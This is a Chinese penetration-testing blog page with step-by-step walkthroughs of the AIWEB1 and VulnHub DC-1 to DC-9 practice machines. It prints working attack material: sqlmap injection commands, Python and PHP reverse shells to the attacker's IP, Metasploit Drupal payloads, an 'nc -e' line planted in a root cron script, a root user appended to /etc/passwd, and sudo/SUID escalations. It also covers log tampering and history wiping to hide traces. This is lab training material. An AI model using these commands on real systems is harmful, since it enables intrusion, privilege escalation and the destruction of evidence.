首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,081 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,252 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,566 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
3
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
搜索到
79
篇与
的结果
2025-05-18
AIWEB1综合靶场通关教程【附靶场环境】
前言如果要进网安交流群的,后台菜单栏点击加群即可(建议微信群),靶场获取后台回复【AIWEB1】下载之后设置为nat模式启动即可,不需要登录靶机复现主机发现访问即可信息收集robots.txt文件访问尝试,原来是什么也没有的,404我们去访问这个上级目录,发现有一个id注入测试语法错误,存在sql注入漏洞抓包sqlmap爆表发现表里什么也没有,换思路没有权限dirb扫一下看看,有一个info.php网站绝对路径禁用的函数,没有禁用eval本地文件包含开启,以及php版本(%00截断,低于5.2),但似乎没什么用这里我们有两种方法方式一通过查找secure_file_priv 的值1、DBA权限,这里我们发现可以对文件进行读写sqlmap -u 'http://10.0.0.84/se3reTdir777/#' -data "uid=1&Operation=%E6%8F%90%E4%BA%A4" -p 'uid' --privileges2、secure_file_priv方式二从phpinfo中的网站绝对路径进行拼接尝试有了绝对允许上传文件的角度路径那么我们就能使用sqlmap获取shellsqlmap获取shell使用sqlmap的oshellosshell原理通过sqlmap -v 5 参数可以查看流量包通过分析,得到sqlmap的osshell原理就是,通过into outfile/into dumpfile写文件的方式进行文件写入然后再进行访问这个上传的写入sqlmap会向这个上传的网站目录写入两个文件1、文件上传木马文件2、命令执行文件文件上传成功后,即可执行命令(与蚁剑不兼容)注意:如果你退出了这个osshell,那么这两个文件都会自动删除,导致执行不了命令这是会话维持中,可以执行命令会话断开断开后尝试执行命令上传成功后,没有找到这个flag.txt文件,应该是没有权限读取10=system('find / -name flag*');查看/etc/passwd权限,发现漏洞,竟然可以读写文件,我们追加一个用户新加用户之前创建一个登录密码perl -le 'print crypt("123456","addedsalt")'新加一个用户,分到root组进行提权echo "test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd靶机发现还有nc反弹shell,查看攻击机ip地址靶机nc发现没有-e参数,反弹不了shell看看靶机有没有python很好,有python,我们使用python反弹shell,攻击机开启监听中间我断网了,ip地址变了一下,之后操作都是这个ip我们尝试使用python反弹shellpython -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.7',80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"如果没有成功,就多试几次我们尝试切换用户,提示必须从终端运行这个问题搞我半天,后来发现可以使用python调用本地shell即终端升级echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py su test 123456模糊查找flag的位置cat 即可
2025年05月18日
926 阅读
0 评论
0 点赞
2025-05-18
DC1-9(全)linux提权靶机渗透教程
前言本文用到的靶机汇总都给宝子们准备好了,放在这个夸克链接了,需要自取,官网下有点慢https://pan.quark.cn/s/571fc93bedbdDC-1靶机前言由于传播、利用本公众泷羽Sec提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号泷羽Sec团队及作者不为此承担任何责任,一旦造成后果请自行承担!本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。环境准备靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/攻击机:kali,自行准备信息收集开启靶机,切换net/桥接模式nmap探测主机存活80/sP探测nmap的基本使用,以及高级用法文章参考:nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式# 或者 nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。靶机端口扫描,开放了22、80、111、34471端口nmap 192.168.209.157 -p- -v访问http服务的80端口,进入到web界面,有一个登录sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入注册一个用户试试,他还要发送邮件,并没有让我们填写密码需要批准之后才能注册用户由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用访问也没发现什么有用的内容在这里没用,应该是一个api接口还有一些七七八八的就不看了,基本没啥作用的漏洞探测使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息whatweb -v 192.168.209.157msf漏洞利用msf漏洞利用神器,直接搜索Drupal这些模块msfconsole search Drupal使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的show payloads我们使用第二个模块试试use unix/webapp/drupal_drupalgeddon2 # 或者 use 1 # 然后 show payloads # 显示该模块下的所有payload发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中设置payload为tcp反弹shellset payload payload/php/meterpreter/reverse_tcp当然也可以使用tcp正向连接set payload payload/php/meterpreter/bind_tcp他们的区别正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问外网靶机,反向连接需要两个机器都需要能互相ping这里就使用反向连接来测试如果出现如下错误多半是防火墙端口没有放行就是配置下的本地监听端口使用iptables放行端口 sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT这个时候重新开始攻击即可run getuid后渗透查看系统信息sysinfo获取shellshell上面终端显示的样子不好看,使用python调用系统终端python -c "import pty;pty.spawn('/bin/bash')"这样子就好看多了找到flag1.txt他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下find . -name 'set*'又给了你一个提示What can you do with these credentials?你能用这些凭证做什么?$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );那当然是连接本地数据库咯mysql -udbuser -pR0ck3t查看所有数据库切换到这个站点的数据库,并查看有什么表use drupaldb show tables;找到有一个users表里面包含用户名/密码信息select * from users;这样子不好看,那么我们就加一个Gselect * from usersG;不知道是什么加密,文心一言说还加了盐,那么我们只能去找这个hash规则的文件了从当前站点目录查找这个文件,并发现有一个password-hash.sh文件find . -name '*hash*'在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?把他复制下来$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq进入mysqlmysql -udbuser -pR0ck3t修改密码update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';登录成功了!这里我们就找到了flag3点进去找到这个,提示我们去passwd文件看看提示我们去passwd,找到flag4cat /etc/passwd切换flag4用户下的目录查看这个文件的权限,尝试追加用户提权,但是只能root读写find / -perm -u=s -type f 2>/dev/null # `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。使用find提权find / -exec "/bin/bash" -p ;提权成功,找到了最后一个flag痕迹清除观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)1、中间件日志清除对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。 find / -name 'access*'查看都有一些什么内容cat /var/log/apache2/access.log筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录sed -i '/192.168.209.1/d' /var/log/apache2/access.log这条命令会直接在原文件中删除所有包含192.168.209.1的行。-i选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志cat /var/log/apache2/access.log可以看到连同kali(192.168.209.151)的日志一起清除成功了同理正常请求日志清除了,错误请求日志也要删除吧find / -name 'error*'cat /var/log/apache2/error.log一大堆kali攻击日志同理直接使用sed更改 sed -i '/192.168.209.1/d' /var/log/apache2/error.log清除成功!2、密码还原对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧登录数据库mysql -udbuser -pR0ck3tupdate users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";3、清除数据库日志没有权限查看日志状态show variables like '%log%';general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。当general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。当general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。慢查询日志slow_query_log看图也是关闭的当 slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log。当 slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。找到这两个日志文件路径,看看有没有,很好没有,这一步跳过4、清除命令历史查看自己曾经输入过的命令historyhistory -c # 清除命令历史5、登录日志这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。6、nmap扫描日志nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。7、更多我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知扩展知识隐身登录系统,不会被w、who、last等指令检测到。ssh -T root@192.168.0.1 /bin/bash -i不记录ssh公钥在本地.ssh目录中ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –iDC-2靶机前言由于传播、利用本公众号小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!本文主要讲解了渗透测试中的完整渗透测试流程,主要介绍了【wpscan】、【cewl】、【rbash逃逸】的使用技巧,靶场为vulnhub的机器大家可以自行下载,如果文章哪有不对,还请师傅们留言指出,谢谢您。环境准备靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip攻击机:kali网络:nat模式靶机复现nmap主机发现,192.168.209.166或者使用arp-scan -lnmap -sP 192.168.209.0/24对扫描出的靶机进行全端口扫描nmap -sS -p- 192.168.209.166我访问这个ip的时候,自动跳转到了http://dc-2但是我加上这个ip之后404index.php可以正常访问那么应该就是host文件问题,修改hosts C:WindowsSystem32driversetchosts在行尾添加这一行内容保存之后,再次访问首页,就可以正常访问靶场了Flag1"Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl."大致意思就是你可能需要cewl这款工具看目录扫描结果,这是一个wordpress网站,有一个后台界面wp-adminsql注入万能密码拦截登录响应登录失败还有一些其他的测试方法,比如xss,弱口令都不行,这里我们就要用到cewl这个工具了Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。我们将扫描结果重定向到passwd.txt(就是保存文件或者使用cewl的自带的-m参数)使用wpscan枚举可能的用户名WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。一共扫描出来三个用户admin,jerry,tom可以使用此时我们已经有了用户名和密码字典使用wpscan爆破账号密码,指定刚刚我们生成的用户字典users.txt和密码字典passwd.txt爆破成功,结果如下jerry / adipiscing tom / parturient来登录成功在旁边导航栏找到了Pages,即可得到flag2这提示跟没提示一样If you can't exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.文件上传上传一个php文件,被禁止了只能上传图片文件,我找了半天也没找到文件包含漏洞的地方文件后缀爆破,也全部失败了系统渗透换思路我们之前端口扫描的时候有一个7744端口,不知道是什么服务,百度也搜不出来用ssh默认22端口是拒绝服务的,指定一下7744端口的时候既让让我们输入密码,那这个就是ssh服务端口了第一个用户测试失败jerry / adipiscing第二个用户,登录成功tom / parturient命令被限制了'rbash'什么是rbash?它与一般shell的区别在于会限制一些行为,让一些命令无法执行,这里就让我的cat、clear、su等等命令进行了限制查看可用的命令compgen -c滑到最下面,有一个vi命令flag3.txt内容:可怜的老Tom总是追着Jerry跑。也许他应该为自己造成的压力而死。---网易有道Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.我们去/etc/passwd,看看能不能添加一个”root“用户,看样子不行了,你也可以直接查看这个文件的权限,这里我就不掩饰了去home,cd 并不能直接使用,但是有一个 ls直接找到了flag4告诉我们使用git离开这里,应该就是让我们用git提权查看文件所属,是jerry的,这里直接跳过吧,找到就好,没什么作用了我们看看刚刚的flag3.txt,所属用户为tom那么就用它提权试试执行:shell这里直接"提权"成功了但是没什么作用哈,root目录也切换不了查看环境变量rbash逃逸我们通过修改环境变量,之后使用jerry / adipiscing登录tom@DC-2:~$ export PATH=$PATH:/bin/ # 直接添加环境变量 rbash: PATH: readonly variable # rbash tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 把/bin/sh给a $ /bin/bash tom@DC-2:~$ su # 这里修改了BASH_CMDS的值后并不能直接使用su命令 bash: su: command not found tom@DC-2:~$ export PATH=$PATH:/bin/ # 添加环境变量 tom@DC-2:~$ su jerry # su 正常使用 Password: jerry@DC-2:/home/tom$ 图解此时我们是jerry权限,还是进不去root查看当前suid可用命令/文件find / -perm -u=s -type f 2>/dev/null这里有一个sudo可以用,rbash逃逸中的必要条件git提权sudo git help config !/bin/bash 或 !'sh' #完成提权 # 或者 sudo git -p help !/bin/bash #输入!/bin/bash 即可打开一个用户为root的shellok完成dc-2靶机总结DC-2详细介绍了利用Kali Linux对Vulnhub的DC-2靶机进行渗透测试的过程。通过nmap发现靶机及开放端口,利用cewl和wpscan工具生成字典,并成功爆破WordPress后台账号密码。面对rbash限制,通过环境变量修改实现逃逸,并利用git和sudo提权获取root权限。整个流程覆盖了信息收集、漏洞利用、权限提升等多个阶段,展示了全面的渗透测试技巧。DC-3靶机靶场下载地址:官网: http://www.five86.com/downloads/DC-3-2.zip 百度网盘: https://pan.baidu.com/s/1nK2rG5Wuh4MDZmsT8tvYkw?pwd=4pa2 刚进去的时候会遇到个错误编辑配置项开启nat模式开机开始渗透,主机发现端口快速扫描80端口服务,并快速找到编程语言为PHP语言御剑扫描后台界面安装 joomscan 这个工具检查检索这个joomla版本信息是3.7.0joomscan -u 192.168.60.131使用 searchsploit 来搜索漏洞信息搜索所有 joomla 指定版本的漏洞信息,用法,中间添加一个空格就可以了。再精确,我要找到 joomla 3.7.0 版本的sql注入漏洞我们可以利用-p选项,我们可以获得有关目标漏洞的更多信息,并将该漏洞的完整路径复制到剪切板上。searchsploit 42033 searchsploit -p 42033我们查看这个内容复制上图的payload,并把localhost本地地址替换成靶场地址,利用sqlmap工具sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --current-user这个时候就得到了数据库信息,并使用 --current-user 获取当前数据库用户,可以看到是root用户指定数据库为当前网站的数据库,枚举数据库所有表sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables指定表"#__users",并列出所有的列名sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns我只要username和password两个字段sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump创建一个文件,存储好hash后的密文,使用 john 来爆破一下,提示我们使用--show参数,来显示所有可能的密文得到 admin的密码snoopy,登录后台添加一个php脚本,用于反弹shell我们利用kali自带的webshell工具进行反弹修改一下这个文件的两个参数,然后全部复制到这个script.php源码如下<?php set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.60.132'; // 你攻击机的IP地址 $port = 1234; // 攻击机nc监听的地址 $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$stringn"; } } ?> 粘贴到这个php木马中kali开启监听默认情况下的模板位置是在 /templates 目录下当前模板名称为 beez3得出脚本位置http://192.168.60.131/templates/beez3/script.php成功上线创建一个交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'上图可以看到不是root用户信息收集两个重要文件的权限查看发布者信息,都没有可疑点那么还是一样,使用searchsploit漏洞检索我们需要的是提权漏洞,再添加关键字 Privilege Escalation,找到这两个漏洞利用我们用第一个4.4.x的漏洞,进行尝试查看这个文件可以看到漏洞的产生原因以及利用方法。搜索exp,有一个下载链接下载下来即可解压,并开启http请求复制这个文件的地址就好http://192.168.60.132:8000/39772/exploit.tar靶机下载这个文件,但是提示我们没有权限wget http://192.168.60.132:8000/39772/exploit.tar这个时候就要想到刚刚在网页上能创建php文件的目录了,查找刚刚创建的脚本find / -name "script.php" 2>/dev/null我们在这个文件下载,下载完成解压到这个文件夹中根据这个39772的txt文件提示依次执行提权成功。成功通关!总结本次靶机练习主要用到的工具是searchsploit工具,利用框架/系统已知的漏洞进行渗透测试,从而获取到系统的最高权限。DC-4靶场使用SYN隐蔽扫描指纹信息目录扫描80端口万能密码拦截302跳转了查看字段信息伪造cookie爆破,全部都是200,说明伪造cookie已经成功,任意一个密码都能登录点击Command随机选择一个选项,并抓包,修改payload,cat /etc/passwd,能够正常执行那么直接nc连接创建交互式终端python -c 'import pty; pty.spawn("/bin/bash")'信息收集,SUID文件,有俩个可以利用,sudo和exim4命令提权find / -perm -4000 -print 2>/dev/nullexim版本信息,4.89 #2版本/etc/os-release操作系统/etc/passwd权限/etc/shells查看可用的shell主机名内核版本信息获取所有版本信息EXP利用找了一些信息,那么就可以开始分析了,先找exim 4漏洞,待会使用msf进行漏洞利用切换到exp位置,并使用py开启http服务从攻击机器下载文件,并赋予执行权限MSF从图中可以看到,该版本制造在2018年的2月10日显示它的配置项,他需要一个session会话反弹成功结束掉这个会话,重新反弹,使用run -j 将会话保存到后台,这样就能获得会话sessions了存在漏洞,但是会话没有创建成功换一个payload就好了,之前是x64,换成x86DC-5靶机主机发现全端口扫描,并使用-T参数加快速度打开首页dirb目录扫描使用burp suite目录扫描切换到contact界面,抓包fuzz大法,添加四个payload 攻击类型选择第二个,撞击一组payloadsql注入不存在xss测试不存在再搜集其他信息,也没看到什么再使用dirsearch 搜索,看到一个footer.php文件访问一下再刷新一下,意外的发现了数据会变这时候就可以判断,这个表单提交成功的页面,可能存在文件包含漏洞,包含index.php试试包含/etc/passwd这里有一个思路,就是包含nginx日志文件,在Linux系统中,Nginx的默认日志文件位置通常可以在Nginx的配置文件中找到。以下是一些关于Nginx默认日志文件位置的信息:访问日志(Access Log):默认情况下,Nginx的访问日志通常存储在/var/log/nginx/access.log文件中。这个文件记录了所有访问服务器的请求信息,包括请求的时间、请求的URL、访问者的IP地址等。错误日志(Error Log):默认情况下,Nginx的错误日志通常存储在/var/log/nginx/error.log文件中。这个文件记录了Nginx服务器的错误信息,如请求出错、服务器无法响应等。做一个正常的请求包含访问日志,没有任何回显,说明文件不存在包含error.log文件尝试连接,但是返回的数据为空我们再次抓包,发现一句话马变成了url编码的东西修改为一句话木马,再发送请求再次连接,就可以了反弹shell,攻击机开启监听使用nc命令开启交互式终端python -c 'import pty; pty.spawn("/bin/bash")'查找SUID文件(此文件可以以文件所有者的身份执行文件),看到了这个screen还有版本screen 是一个在 Unix 和类 Unix 系统上使用的终端多路复用器。searchsploit 检索漏洞,可以找到一个本地提权漏洞,并且有exp切换到exp文件目录,并开启python的http服务然后依次执行命令,在网站目录中是没有写入权限的,需要切换到根目录,找到tmp目录,其他用户具有读写权限此时就能正常下载kali攻击机的exp文件了赋予执行权限whoami找到root目录下的flagDC-6靶机# 主机发现 nmap -sP 192.168.209.0/24 # 全速全端口SYN扫描指纹信息 nmap -sSV 192.168.209.143 -p- -T5发现网站无法访问,而且自动跳转到了一个域名那么就需要添加一个host解析这个时候就能访问了翻译,没有什么信息目录扫描找到后台管理界面这里要用到一个工具,WPScan,一个专门为wordpress准备的信息收集工具一个个看看使用-e参数枚举可能的用户名,可以看到有5个可能的用户,admin,graham,mark,sarah,jenswpscan --url "http://wordy/" -e添加payload添加字典admin失败,下一个用户都失败了,可能是我字典有问题,用用kali的。。。。。。。。。。泥煤的,这得何年马月去了,这时候我去搜了搜过程,作者也给了提示,需要对字典进行筛选,我敲,以后大巴及,一定要看作者的留言,审题啊快点复制下来cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt爆破成功Username: mark, Password: helpdesk01翻来翻去也就这么一个页面可能存在漏洞试试命令执行,但是不存在换这个找到漏洞点此时就可以反弹shell,开启交互式终端,并查找SUID文件python -c "import pty; pty.spawn('/bin/bash')" find / -perm -4000 -print 2>/dev/null所有系统版本信息searchsploit漏洞检索,但是很遗憾没有提权漏洞直到我找到了这个俩个提示user: graham - GSo7isUM1D4 - done尝试切换用户sudo可用sudo -l 命令的输出可能会包括以下几部分信息:用户:显示当前用户的用户名。主机:显示当前主机名,指明这些sudo权限是在哪台机器上有效的。(用户):在括号中显示的是用户可以通过sudo切换到的其他用户,通常是root或其他管理员账户。命令:列出用户可以执行的命令,可能包括完整的路径、命令别名或通配符,表示一系列命令。提权sudo -u jens ./backups.sh可以看到nmap可以用利用nmap提权echo "os.execute('/bin/bash')" > /tmp/TF sudo nmap --script=/tmp/TF得到flagDC-7靶机先看作者描述,根据描述,不难看出,暴力破解是没有效果的主机发现使用SYN扫描进行指纹识别,用syn扫描有助于提高隐蔽性访问80端口sql注入测试robots.txt文件访问第二个/user/login,有一个登录页面wappalyzer CMS识别万能密码CMS版本漏洞检索,看到有个反序列化的,并且msf中有msf失败直到我看到这个东西搜一搜看样子就是这里了找到账号密码登录不成功但是之前有一个22 ssh端口,登录成功了查找SUID文件,可以看到一封信有俩个文件,看样子是一个计划任务下面这个数据库文件,看了下,没什么东西,我们去查看一下这个sh文件的权限,属主为root,属组为www-data,其他用户只有读取和执行的权限查看内容会发现一个 drush 命令Drush 是一个强大的 shell 接口,可以直接从云服务器命令行管理 Drupal。发现可以创建新用户来到网站的根目录,就可以添加用户了能够正常添加,并登录,这里好像什么也没有修改管理员密码找到管理面板,我修改后的的一句话木马,也不管用,因为这是一个html页面后来了解到,可以用这个插件,我们去安装一个插件,在这里下载https://www.drupal.org/project/php/releases/8.x-1.2仔细找找后台添加插件的地方粘贴链接启用插件筛选php这个插件,点击安装安装成功这时候我们再去修改源码,添加一句话木马连接成功得到了www-data权限反弹shell,创建一个交互式终端python -c "import pty; pty.spwan('/bin/bash')"向这个脚本追加一行nc 192.168.209.1 80 -e /bin/bash攻击机器监听,即可原理:前几步已经得到了backups.sh脚本属主为root,属组为www-data,所以我们将反弹shell命令添加到脚本当中,等待执行脚本反弹shell即可得到root权限DC-8靶机前言讲解了DC-8提权靶机的通关教程,比较基础,适合刚入门不久的师傅们,以及searchsploit,sqlmap ,john,nmap工具的使用,以及SUID的特性。靶机下载:https://pan.quark.cn/s/efe0be139167靶机复现配置好net网卡nmap主机探测nmap -sP 192.168.209.0/24端口扫描nmap 192.168.209.139访问80端随便点点注入payload,sql语句错误,存在sql注入漏洞' and 1=1 --+目录扫描,到 robots.txt访问有个user/loginsqlmap的payloadsqlmap -u 'http://192.168.209.139/?nid=1' -p nid -D d7db --tables得到两个用户的hash密码, john 暴力破解得到第二行的密码登录这里有一个联系我们,提交一下看看看到了提交成功后的内容点击这里有个Webform找到Form settings,并修改PHP code但是遇到个问题,修改后,这里没有直接输出我echo的内容直到我添加了一个标签就正常输出了,证明了可以执行php代码,那么就可以反弹shell打开谷歌插件,HackTools,复制反弹shell命令,当然没有的话,小羽我已经给你们准备好了下载链接:复制粘贴到命令执行函数中就好攻击机开启监听反弹四百尝试nc创建一个交互式终端python -c 'import pty; pty.spawn("/bin/bash")'查找具有SUID的文件SUID:当一个可执行文件被设置了SUID权限后,该文件将以文件所有者的权限而不是执行者的权限来运行。(仅执行,不包括修改)find / -perm -4000 -print 2>/dev/null这个命令的各个部分解释如下:find /:从根目录/开始搜索。-perm -4000:查找具有SUID权限的文件。SUID权限允许用户以文件所有者的权限执行该文件,而不是以用户自己的权限执行。这里的-4000表示设置用户ID位(SUID位)。-print:将找到的文件路径打印到标准输出。这实际上是find命令的默认行为,所以-print可以省略。2>/dev/null:将标准错误(文件描述符2)重定向到/dev/null。这意味着如果find命令在执行过程中遇到任何错误(比如权限不足无法访问某个目录),这些错误信息将不会被显示。在Linux系统中,/sbin文件夹通常包含了一系列系统管理员使用的可执行命令,那么就可以直接利用这命令/软件,来提权查找版本,为4.89查找漏洞,Privilege Escalation权限提升,编号 46996.sh搜索编号将这个paload文件复制到 /data下面用python开启服务器当前文件夹没有写权限,下载不了我们返回根目录,查看文件夹权限,发现一个其他用户具有写权限的目录切换到/tmp目录下,下载文件wget http://192.168.209.137:8888/46996.sh下载成功,附加执行权限,默认没有执行权限的查看这个46996.sh文件提示,包含了使用过程执行提权脚本./46996.sh -m netcat提权成功还感兴趣的,可以继续深入,把网站的请求日志文件内容删除,以及其他的隐蔽方式,时间比较有限,就不做讲解了,后续深入DC-9靶机随便点点有个搜索框fuzz大法存在sql注入复制请求包,到一个文件里面,使用sqlmap跑,因为这是post请求admin/transorbital1我们并不知道网站的绝对路径在哪,这里使用默认的试试os-shell获取失败,看样子mysql不允许向外部写入文件这里提示了一个文件不存在,那么我们就猜测这里可能有一个get请求的file参数没有传普通文件包含看样子源码是路径拼接的仔细分析上面包含的文件和这个users表中的数据基本上所有的注入点都没了,只剩下这个东西了试试ssh爆破ssh也不行了,服务被禁用了普通的渗透思路,已经没了,查了一些资料后,找到一个“敲门”服务。。如果存在knockd服务。 该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。 不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全 //配置文件路径 默认配置文件是:/etc/knockd.conf //自定义端口后,依次对其进行敲门,然后就可以开启ssh服务进行连接了 //命令如下: nmap 192.168.209.145 -p 7469 nmap 192.168.209.145 -p 8475 nmap 192.168.209.145 -p 9842 